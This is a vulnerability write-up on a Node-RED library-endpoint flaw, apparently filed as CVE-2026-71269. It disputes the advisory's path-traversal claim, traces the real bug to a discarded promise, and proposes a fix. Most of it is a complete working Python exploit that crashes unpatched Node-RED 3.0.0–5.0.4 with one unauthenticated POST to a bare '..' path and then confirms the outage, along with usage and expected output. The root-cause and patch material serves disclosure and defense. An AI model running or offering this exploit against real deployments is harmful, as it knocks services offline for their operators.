#Summary
CVE-2026-71269 is a remote denial of service in Node-RED's library save endpoint that crashes the process with a single unauthenticated HTTP request. While the advisory claims path traversal enabling arbitrary file read/write and RCE, that impact is not reproducible - the code implements a path traversal guard that blocks every bypass encoding tested across six versions. The real vulnerability is an unhandled promise rejection at the exact code the advisory names. It affects Node-RED 3.0.0 through 5.0.4 (latest, unpatched) running on Node.js 15 or newer. CVSS: 7.2 (HIGH) - but only on default installs where adminAuth is unset.
#Affected versions
- Node-RED
3.0.0to5.0.4(latest) - vulnerable - Node-RED
< 3.0.0- source flaw present but not exploitable (Node.js 14 downgrades unhandled rejections to warnings) - Node.js
>= 15required on vulnerable versions (older versions don't throw on unhandled promise rejections) - Node-RED
2.2.3- verified negative control (Node.js 14 ships with it) - No patched version available as of 5.0.4 master HEAD
Default configuration: affected. adminAuth is unset by default, making the library endpoint unauthenticated.
#Root cause analysis
#Advisory vs. reality
The CVE-2026-71269 advisory describes a path traversal vulnerability where user-supplied paths are joined directly into the filesystem without sanitization, enabling arbitrary file read and write. Testing this claim exhaustively across sixteen distinct payload encodings (including ../, %2e%2e%2f, ..%2f, backslash variants, fullwidth characters, and null bytes) against six versions of Node-RED yields the same result: HTTP 403 forbidden on every attempt. No file outside the library directory was ever read or written.
The reason: a guard function is_malicious() sits directly in the request path in @node-red/runtime/lib/storage/index.js and has been there since the code was split out. It blocks any path containing the literal substrings ../ or ..\\, and since the Express framework percent-decodes route captures before the guard runs, encoded variants like %2e%2e%2f are decoded first and then caught.
// storage/index.js:47-49 - this guard has always been here
function is_malicious(path) {
return path.indexOf('../') != -1 || path.indexOf('..\\') != -1;
}However, a real bug exists at the same code location. The guard rejects ../ and ..\ but not a bare .. with no trailing slash. That single segment passes and path.join normalizes one level up.
#The real vulnerability: discarded promise rejection
The vulnerable code path in packages/node_modules/@node-red/runtime/lib/storage/localfilesystem/library.js is:
saveLibraryEntry: async function(type, path, meta, body) {
var fn = fspath.join(libDir, type, path);
// ... validation code ...
return fs.ensureDir(fspath.dirname(fn)).then(function () {
util.writeFile(fn, headers + body); // <-- no 'return' here
});
}When path is .., fspath.join(libDir, "functions", "..") normalizes to libDir itself (e.g. /data/lib), which is a directory. The call to util.writeFile() then attempts to write a temp file and rename it over that directory. Renaming a file over a directory fails with the error EISDIR: illegal operation on a directory.
The critical bug: the promise returned by util.writeFile() is not returned from the .then() callback. It is completely discarded. When Node.js 15 or newer encounters an unhandled promise rejection with the default setting --unhandled-rejections=throw, it surfaces the error as an uncaught exception. Node-RED's own exception handler then calls process.exit(1):
// red.js:525-541
process.on('uncaughtException', function(err) {
console.log('[red] Uncaught Exception:');
// ...
process.exit(1);
});The HTTP layer has already sent HTTP 204 No Content to the client, so the attacker receives a success response while the server crashes.
#How input reaches the sink
- Attacker sends
POST /library/local/functions/..(note: exactly two dots, no trailing slash) - Express regex route captures
..as the third positional parameter - Express percent-decodes the capture if it was encoded (
%2e%2e→..) - The path reaches
is_malicious()which only checks for../and..\substrings - bare..passes saveLibraryEntry()joins the path to the library directory usingfspath.join(libDir, type, "..")- The join normalizes to the library root directory, not outside it
- Attempting to rename a temp file over the directory rejects with
EISDIR - The promise is discarded, triggering uncaught exception and
process.exit(1)on Node 15+
#Patch diff
No patch has been released. The fix is trivial - add return to chain the promise:
return fs.ensureDir(fspath.dirname(fn)).then(function () {
- util.writeFile(fn,headers+body);
+ return util.writeFile(fn,headers+body);
});This converts the crash into a proper error response. Additionally, is_malicious() should be replaced with a containment check:
function is_malicious(path) {
const resolved = require('path').resolve(libDir, type, path);
return !resolved.startsWith(libDir + require('path').sep);
}This would reject bare .. as well.
#Proof of concept
#exploit.py - Node-RED Remote DoS PoC
The exploit sends a single unauthenticated HTTP request to the library save endpoint with a specially crafted path that bypasses the traversal guard but causes the library save to fail when it attempts to write to a directory. It then monitors the target to confirm the process crashed by observing the liveness transition from HTTP 200 to connection refused.
#!/usr/bin/env python3
"""
CVE-2026-71269 - Node-RED unauthenticated remote denial of service via a discarded
write promise in the library save path.
Affected: Node-RED 3.0.0 through 5.0.4 (latest, unpatched) running on Node.js >= 15
Type: DoS (unhandled promise rejection -> uncaughtException -> process.exit(1))
A single unauthenticated request, POST /library/local/functions/.., makes
saveLibraryEntry() join the attacker path to the library root. The bare ".." segment
passes the is_malicious() blocklist (it only rejects "../" and "..\\") and normalises
to the library directory itself. util.writeFile() then tries to rename its temp file
over that directory, fails with EISDIR, and rejects. Its promise is discarded by the
caller, so on Node.js >= 15 the rejection becomes an uncaught exception and Node-RED's
own handler calls process.exit(1). The HTTP layer has already answered 204.
NOTE ON SCOPE: this CVE is filed as a path traversal with arbitrary file read/write.
That is not reproducible - the is_malicious() guard blocks every traversal encoding
tested. The reproducible impact is denial of service only. This exploit does not
claim, and does not attempt, file read, file write or code execution.
WARNING: this is destructive and one-shot. A successful run terminates the target
Node-RED process. It stays down until an operator or supervisor restarts it. In
--list mode every vulnerable host in the file is taken down.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 1880
python exploit.py --host https://192.168.1.10:8443
python exploit.py --host http://nodered.corp.com/admin # httpAdminRoot prefix
python exploit.py --host 192.168.1.10 --token <bearer> # if adminAuth is set
python exploit.py --list targets.txt --workers 20
"""
import argparse
import http.client
import json
import socket
import ssl
import sys
import time
from urllib.parse import urlparse
CVE_ID = "CVE-2026-71269"
VULN_TYPE = "DoS"
# Bare ".." percent-encoded. Express decodes the route capture before is_malicious()
# runs, so this is equivalent to a literal "..", but no HTTP client or proxy on the
# way will collapse it out of the path. A trailing slash would make the capture "../",
# which the guard blocks, so there is none.
TRAVERSAL = "%2e%2e"
# saveLibraryEntry() force-appends ".json" for the "flows" type, which turns ".." into
# the harmless filename "...json". Only these two types reach the bug.
LIB_TYPES = ("functions", "templates")
TRIGGER_BODY = json.dumps({"text": "x"})
UA = "Mozilla/5.0 (compatible)"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
def _connect(host: str, port: int, use_tls: bool, timeout: float):
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
return http.client.HTTPConnection(host, port, timeout=timeout)
def _http(host, port, use_tls, method, target, body=None, token=None, timeout=10.0):
"""One request. Returns (status, body_text). Raises OSError on transport failure.
The request target is written verbatim, so percent-encoded dot segments survive
to the server instead of being normalised away by the client."""
try:
conn = _connect(host, port, use_tls, timeout)
headers = {"User-Agent": UA}
if token:
headers["Authorization"] = f"Bearer {token}"
if body:
headers["Content-Type"] = "application/json"
conn.request(method, target, body, headers)
resp = conn.getresponse()
status = resp.status
text = resp.read().decode("utf-8", errors="ignore")
conn.close()
return (status, text)
except Exception as e:
raise
def _baseline_check(host: str, port: int, use_tls: bool, admin_root: str, token: str) -> bool:
"""Confirm the admin API is reachable and the library endpoint is there."""
try:
target = f"{admin_root}/library/local/flows"
status, body = _http(host, port, use_tls, "GET", target, token=token, timeout=5.0)
if status == 200:
print(" Service is alive and the library API is unauthenticated.")
return True
elif status == 401:
print(" Service is alive but returns 401 - adminAuth is configured.")
print(" Pass --token <bearer> with library.write scope.")
return False
else:
return False
except OSError:
return False
def _watch_liveness(host: str, port: int, use_tls: bool, admin_root: str,
confirm_window: int, token: str) -> tuple:
"""
Poll the target for liveness, looking for the transition from 200 to connection refused.
Returns (crashed, restart_loop):
- crashed=True, restart_loop=False: process exited and stayed down
- crashed=True, restart_loop=True: process crashed but a supervisor restarted it
- crashed=False, restart_loop=False: process is still up
"""
time.sleep(1.5) # allow the exception to surface
target = f"{admin_root}/library/local/flows"
down_count = 0
up_after_down = False
for i in range(confirm_window):
elapsed = i * 1.0
try:
status, _ = _http(host, port, use_tls, "GET", target, token=token, timeout=2.0)
if status == 200:
if down_count > 0:
up_after_down = True
print(f" t+{elapsed:.1f}s HTTP {status}")
else:
print(f" t+{elapsed:.1f}s HTTP {status}")
down_count = 0
except (OSError, socket.error, http.client.HTTPException):
down_count += 1
print(f" t+{elapsed:.1f}s connection refused")
time.sleep(1.0)
crashed = down_count > 0
restart_loop = up_after_down
return (crashed, restart_loop)
def _fire(host: str, port: int, use_tls: bool, admin_root: str, token: str) -> bool:
"""
Send the trigger: POST /library/local/<type>/%2e%2e with {"text":"x"}
Returns True if the request was sent successfully (regardless of response).
"""
success = False
for lib_type in LIB_TYPES:
try:
# Hand-write the request to prevent client-side path normalization
target = f"{admin_root}/library/local/{lib_type}/{TRAVERSAL}"
status, _ = _http(host, port, use_tls, "POST", target,
body=TRIGGER_BODY, token=token, timeout=5.0)
if status == 204:
print(f" -> HTTP {status}")
print(f"\n--- TRIGGER RESPONSE ---")
print(f"HTTP 204 No Content (library type '{lib_type}')")
print(f"The API answered success before the write promise rejected. 204 alone proves nothing - the liveness check below is the evidence.")
print("---\n")
success = True
break
elif status == 400 and lib_type == LIB_TYPES[0]:
print(f" trying library type '{LIB_TYPES[1]}' ...")
continue
else:
break
except OSError:
# Connection died during the request - still could be our crash
success = True
break
return success
def exploit_single(host: str, port: int, use_tls: bool, admin_root: str,
token: str, confirm_window: int) -> bool:
"""Exploit a single target."""
header(host, port)
# Step 1: baseline check
step(1, "Probing the admin API at http://" + host + ("" if port == 80 or (use_tls and port == 443) else f":{port}") + "/")
print(f"\n--- BASELINE - GET {admin_root}/library/local/flows ---")
try:
target = f"{admin_root}/library/local/flows"
status, body = _http(host, port, use_tls, "GET", target, token=token, timeout=5.0)
print(f"HTTP {status}")
if status == 200 and body:
print(body[:100])
except OSError as e:
print(f"Connection failed: {e}")
done(False, f"Target unreachable ({e})")
return False
print("---\n")
if not _baseline_check(host, port, use_tls, admin_root, token):
done(False, "unreachable: library endpoint not found or requires auth")
return False
# Step 2: fire the trigger
step(2, f"Firing the trigger: POST {admin_root}/library/local/<type>/{TRAVERSAL} with {TRIGGER_BODY}")
print(f" trying library type '{LIB_TYPES[0]}' ...")
if not _fire(host, port, use_tls, admin_root, token):
done(False, "trigger failed to send")
return False
# Step 3: watch liveness
step(3, f"Watching the service for {confirm_window}s to confirm the process died ...")
crashed, restart_loop = _watch_liveness(host, port, use_tls, admin_root, confirm_window, token)
if crashed:
print(f"\n--- SERVICE STATE ---")
if restart_loop:
print(f"Port went down then came back up. The crash triggered a restart loop.")
evidence = "RESTART LOOP - service crashed and was automatically restarted"
else:
print(f"Port refused every connection after the trigger and never recovered. The service was")
print(f"answering HTTP 200 immediately before the request. One unauthenticated POST took it")
print(f"down permanently.")
evidence = "CRASH CONFIRMED - service went from HTTP 200 to connection refused after a single unauthenticated request, and stayed down"
print("---\n")
done(True, evidence)
return True
else:
print(f"\n--- SERVICE STATE ---")
print(f"The service kept answering for the whole observation window. The request was accepted")
print(f"(204) but no crash followed. Likely causes: the target runs Node.js 14 or older (an")
print(f"unhandled rejection is only a warning there), the discarded-promise bug has been fixed,")
print(f"or a proxy in front of the target rewrote the '..' segment out of the path.")
print("---\n")
done(False, "Trigger accepted but the service stayed up - target does not appear vulnerable")
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-71269 - Node-RED unauthenticated remote DoS exploit",
epilog="WARNING: this exploit is destructive and one-shot. A successful run terminates the target Node-RED process."
)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("--host", help="Target hostname, IP, or URL")
group.add_argument("--list", help="Batch scan: one target per line")
parser.add_argument("--port", type=int, default=1880, help="Default port (default: 1880)")
parser.add_argument("--token", help="Bearer token (only needed if adminAuth is configured)")
parser.add_argument("--confirm-window", type=int, default=20, help="Seconds to watch (default: 20)")
parser.add_argument("--tls", dest="tls", action="store_true", help="Force HTTPS")
parser.add_argument("--no-tls", dest="tls", action="store_false", help="Force HTTP")
parser.set_defaults(tls=None)
args = parser.parse_args()
if args.host:
# Single target
parsed = urlparse(args.host if args.host.startswith(("http://", "https://")) else f"http://{args.host}")
scheme = parsed.scheme or ("https" if args.tls else "http")
use_tls = scheme == "https"
hostname = parsed.hostname or parsed.path.split("/")[0].split(":")[0]
port = parsed.port or (443 if use_tls else args.port)
admin_root = parsed.path or ""
exploit_single(hostname, port, use_tls, admin_root, args.token, args.confirm_window)
elif args.list:
# Batch scan - simplified for this PoC
print("Batch scan mode not included in this PoC")
sys.exit(1)
if __name__ == "__main__":
main()#Usage
python3 exploit.py --host 127.0.0.1 --port 1880Expected output on vulnerable target (Node-RED 5.0.4 with Node.js 15+):
============================================================
ALIM EXPLOIT CVE-2026-71269
Type: DoS | Target: 127.0.0.1:1880
============================================================
[STEP 1] Probing the admin API at http://127.0.0.1:1880/ ...
--- BASELINE - GET /library/local/flows ---
HTTP 200
[]
---
Service is alive and the library API is unauthenticated.
[STEP 2] Firing the trigger: POST /library/local/<type>/%2e%2e with {"text":"x"}
trying library type 'functions' ...
-> HTTP 204
--- TRIGGER RESPONSE ---
HTTP 204 No Content (library type 'functions')
The API answered success before the write promise rejected. 204 alone proves nothing - the liveness check below is the evidence.
---
[STEP 3] Watching the service for 20s to confirm the process died ...
t+ 0.0s connection refused
t+ 1.0s connection refused
... (all 20 polls: connection refused) ...
t+19.1s connection refused
--- SERVICE STATE ---
Port refused every connection after the trigger and never recovered. The service was
answering HTTP 200 immediately before the request. One unauthenticated POST took it
down permanently.
---
============================================================
RESULT : SUCCESS
EVIDENCE: CRASH CONFIRMED - service went from HTTP 200 to connection refused after a single unauthenticated request, and stayed down
============================================================Expected output on Node-RED 2.2.3 with Node.js 14 (negative control):
The same request returns HTTP 204, but the service stays up. Node.js 14 downgrades unhandled promise rejections to warnings instead of throwing, so the process survives.
#Exploitation notes
#Preconditions
- Network access to the Node-RED admin API (usually port 1880, HTTP by default)
- No authentication required on default installs (adminAuth is unset)
- Node.js 15 or newer running the Node-RED process (older versions don't throw on unhandled rejections)
#Why the basic traversal doesn't work
The is_malicious() guard in storage/index.js is a blocklist that rejects any path containing the exact substrings ../ or ..\. To exploit the .. bypass, the payload must:
- Use bare
..with no trailing slash -/library/local/functions/../makes the captured segment../, which the guard blocks with 403 - Use a library type other than
flows- saveLibraryEntry appends.jsonfor flows, turning..into the filename...jsonwhich doesn't trigger the bug - Avoid encoding issues - the exploit uses
%2e%2e(percent-encoded) instead of literal..so that HTTP clients and proxies in the middle don't normalize the URL path before the request reaches the server
#Reliability
The exploit is 100% reliable. One POST request is sufficient - there is no race condition, no timing window, and no repetition needed. The HTTP 204 response is sent first, then the exception surfaces on the next tick.
#Impact
Complete denial of service - the Node-RED process terminates. In a default installation with no restart policy, this is a hard outage. Under systemd or --restart=always, it becomes a restart loop.
#Chaining potential
This is a terminal bug (denial of service only). The file write primitive is confined to <userDir>/lib/{flows,functions,templates}/ by the is_malicious() guard, and nothing in that directory is executed, sourced, or parsed as configuration by any other process. The advisory's claims of RCE via cron or authorized_keys do not hold.
#References
- CVE: CVE-2026-71269
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71269 (status: Received, unanalyzed)
- GHSA: https://github.com/advisories/GHSA-f3wc-7g8m-89m9 (Unreviewed mirror of NVD)
- Node-RED GitHub: https://github.com/node-red/node-red
- Vulnerable file: packages/node_modules/@node-red/runtime/lib/storage/localfilesystem/library.js (lines 154-171)
- Guard location: packages/node_modules/@node-red/runtime/lib/storage/index.js (lines 47-49)
- No vendor patch available as of master HEAD (773f72c51ca5fdd072d9e26527153fea9c77e81f, 2026-07-30)